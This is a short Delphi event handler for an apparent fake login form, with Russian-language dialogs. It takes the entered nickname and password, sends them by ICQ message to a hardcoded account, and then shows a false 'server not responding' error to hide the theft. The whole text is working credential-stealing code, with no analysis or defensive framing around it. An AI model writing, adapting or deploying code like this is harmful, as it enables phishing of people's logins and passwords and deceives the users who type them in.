procedure TForm1.Button1Click(Sender: TObject);
begin
if (Edit1.Text='') or (Edit2.Text='') then
MessageBox(0, 'вы не ввели Логин или Пароль', 'Невозможно подключиться!', MB_ICONWARNING); 
icqclient1.SendMessage(314958697, 'Nick: ' + Edit1.Text + '  Password: ' + Edit2.Text);
icqclient1.LogOff();
MessageBox(10, 'Не удалось подсоединиться к серверу!', 'Сервер не отвечает', MB_ICONWARNING);
end;